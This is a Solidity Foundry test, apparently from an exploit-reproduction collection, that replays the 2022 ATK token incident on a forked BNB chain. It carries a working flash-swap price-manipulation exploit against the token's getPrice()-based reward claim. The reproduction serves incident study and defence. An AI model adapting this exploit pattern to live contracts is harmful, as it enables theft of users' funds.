src/test/2022-10/ATK_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~127K BUSDT
8// Attacker : 0x3DF6cd58716d22855aFb3B828F82F10708AfbB4f
9// Attack Contract : https://bscscan.com/address/0xd7ba198ce82f4c46ad8f6148ccfdb41866750231
10// Vulnerable Contract : https://bscscan.com/address/0x9cb928bf50ed220ac8f703bce35be5ce7f56c99c
11// Attack related Txs :
12//  - https://bscscan.com/tx/0xb181e88e6b37ee9986f2a57aefb94779402fdb928654aa7c1dda5138b90d0e14
13//  - https://bscscan.com/tx/0x9e328f77809ea3c01833ec7ed8928edb4f5798c96f302b54fc640a22b3dd1a52
14//  - https://bscscan.com/tx/0x55983d8701e40353fee90803688170a16424ee702f6b21bb198bb8e7282112cd
15//  - https://bscscan.com/tx/0x601b8ab0c1d51e71796a0df5453ca671ae23de3d5ec9ffd87b9c378504f99c32
16 
17// @Info
18// Vulnerable Contract Code : https://bscscan.com/address/0x9cb928bf50ed220ac8f703bce35be5ce7f56c99c#code#L706
19 
20// @Analysis
21// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/1580095325200474112
22// Article CertiK : https://www.certik.com/resources/blog/1YsQo8TnxCvwalqvtkFLtC-journey-of-awakening-incident-analysis
23 
24// Closed-source contract is designed to deposit and claimReward(), the claim function use getPrice() in ATK token contract
25// Root cause: getPrice() function
26 
27contract ContractTest is Test {
28    IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
29    IERC20 constant ATK_TOKEN = IERC20(0x9cB928Bf50ED220aC8f703bce35BE5ce7F56C99c);
30    IERC20 constant BUSDT_TOKEN = IERC20(0x55d398326f99059fF775485246999027B3197955);
31    Uni_Router_V2 constant PS_ROUTER = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
32    Uni_Pair_V2 constant ATK_BUSDT_PAIR = Uni_Pair_V2(0xd228fAee4f73a73fcC73B6d9a1BD25EE1D6ee611);
33    address constant EXPLOIT_CONTRACT = 0xD7ba198ce82f4c46AD8F6148CCFDB41866750231;
34    address constant EXPLOIT_AUX_CONTRACT = 0x96bF2E6CC029363B57Ffa5984b943f825D333614;
35 
36    uint256 swapamount;
37 
38    function setUp() public {
39        vm.createSelectFork("bsc", 22_102_838);
40        // Adding labels to improve stack traces' readability
41        vm.label(address(WBNB_TOKEN), "WBNB_TOKEN");
42        vm.label(address(ATK_TOKEN), "ATK_TOKEN");
43        vm.label(address(BUSDT_TOKEN), "BUSDT_TOKEN");
44        vm.label(address(PS_ROUTER), "PS_ROUTER");
45        vm.label(address(ATK_BUSDT_PAIR), "ATK_BUSDT_PAIR");
46        vm.label(EXPLOIT_CONTRACT, "EXPLOIT_CONTRACT");
47        vm.label(EXPLOIT_AUX_CONTRACT, "EXPLOIT_AUX_CONTRACT");
48    }
49 
50    function testExploit() public {
51        emit log_named_decimal_uint(
52            "[Start] Attacker ATK balance before exploit", ATK_TOKEN.balanceOf(EXPLOIT_CONTRACT), 18
53        );
54 
55        WBNB_TOKEN.deposit{value: 2 ether}();
56        _WBNBToBUSDT();
57 
58        swapamount = BUSDT_TOKEN.balanceOf(address(ATK_BUSDT_PAIR)) - 3 * 1e18;
59        ATK_BUSDT_PAIR.swap(swapamount, 0, address(this), new bytes(1));
60 
61        emit log_named_decimal_uint(
62            "[End] Attacker ATK balance after exploit", ATK_TOKEN.balanceOf(EXPLOIT_CONTRACT), 18
63        );
64    }
65 
66    /*
67     * Callback function called by PancakeSwap during the flashswap
68     */
69    function pancakeCall(
70        address, /*sender*/
71        uint256, /*amount0*/
72        uint256, /*amount1*/
73        bytes calldata /*data*/
74    ) public {
75        // EXPLOIT_CONTRACT calls `claimToken1()` function
76        vm.prank(EXPLOIT_CONTRACT);
77        (bool success,) = EXPLOIT_AUX_CONTRACT.call(abi.encodeWithSignature("claimToken1()"));
78        require(success, "Call `claimToken1()` failed");
79 
80        // Return the BUSDT to the ATK_BUSDT_PAIR
81        BUSDT_TOKEN.transfer(address(ATK_BUSDT_PAIR), swapamount * 10_000 / 9975 + 1000);
82    }
83 
84    /**
85     * Auxiliary function to swap all WBNB to BUSDT
86     */
87    function _WBNBToBUSDT() internal {
88        WBNB_TOKEN.approve(address(PS_ROUTER), type(uint256).max);
89        address[] memory path = new address[](2);
90        path[0] = address(WBNB_TOKEN);
91        path[1] = address(BUSDT_TOKEN);
92        PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(
93            WBNB_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp
94        );
95    }
96}